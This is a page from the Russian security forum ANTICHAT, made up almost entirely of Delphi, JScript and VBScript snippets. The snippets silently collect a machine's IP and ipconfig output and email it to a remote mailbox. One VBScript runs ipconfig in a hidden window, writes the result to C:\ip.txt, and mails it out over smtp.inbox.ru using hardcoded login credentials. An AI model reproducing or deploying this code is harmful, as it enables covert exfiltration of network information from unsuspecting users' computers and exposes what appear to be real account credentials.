ANTICHAT — форум по информационной безопасности, OSINT и технологиям

procedure GetIp;
 var
   data: TIdMultiPartFormDataStream;
 begin
   data := TIdMultiPartFormDataStream.Create;
   data.AddFormField('param1', 'value1');
   try
   myip:=Form1.IdHTTP1.Post('http://www.whatismyip.com/automation/n09230945.asp', data)+#13#10;
   finally
     data.Free;
   end;

   end;

procedure TForm1.SendIP;
begin
SMTP.Host:='smtp.mail.ru';
   SMTP.Username:='from@mail.ru';
   SMTP.Password:='mailpassword';
   SMTP.AuthenticationType:=atLogin;
   SMTP.Port:=25;
   with IdMessage do
      begin
      Body.Add('..IP report:..'+#13#10+myip);
        From.Text := 'from@mail.ru';
        Recipients.EMailAddresses := 'to@mail.ru';
        Subject := '..IP report:..'+#13#10+myip;
        end;
      SMTP.Connect;
         try
      SMTP.Send(IdMessage);
         finally
           SMTP.Disconnect;
         end;
end;

echo ipconfig >> ip2snd.txt
start jsmail.jse

jsmail.jse:

var fso=new ActiveXObject("Scripting.FileSystemObject");
function Send(){
try{
var Cm = new ActiveXObject("CDO.Message");
var Cc = new ActiveXObject("CDO.Configuration");
var Fl = Cc.Fields;
Fl.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2;
Fl.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1;
Fl.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = logn;
Fl.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = pass;
Fl.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = serv;
Fl.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25;
Fl.Update();
Cm.Configuration = Cc;
Cm.To = document.Sendm.to.value;
Cm.From = youm; 
Cm.Subject = document.Sendm.subj.value;
Cm.TextBody = document.Sendm.mesg.value + "\n------------------------------------\n.";
if (document.Sendm.namef.value==""){}
else{Cm.AddAttachment(document.Sendm.namef.value);}
Cm.Send();
Cm = null;
Cc = null;
Fl = null;
if (document.Sendm.as.checked) { 
add(document.Sendm.to.value);
}
}catch (e){
if (e.number == -2147220974){
Send();
log(e.description);
}else{
stopErrors(e.description);
}
}
}

Set WshShell = CreateObject("WScript.Shell") 
WshShell.Run "cmd.exe /c ipconfig > C:\ip.txt", 0, false 

WScript.Sleep (5000)

Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
Call SendPost("smtp.inbox.ru","ТВОЁ_МЫЛО@mail.ru","xs1vljm@inbox.ru","ИП пришли","Олололололо!111")
Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)
Set iMsg=CreateObject("CDO.Message")
Set iConf=CreateObject("CDO.Configuration")
Set Flds=iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="xs1vljm"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="9e2chklhp"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.inbox.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25
Flds.Update
iMsg.Configuration=iConf
iMsg.To=strTo
iMsg.From=strFrom
iMsg.Subject=strSubject
iMsg.TextBody=strBody
iMsg.AddAttachment "C:\ip.txt"
iMsg.Send
End Function
Set iMsg=Nothing
Set iConf=Nothing
Set Flds=Nothing

var WSHShell = WScript.CreateObject("WScript.Shell");
WSHShell.Run("%COMSPEC% /c ipconfig >> 1.txt",0);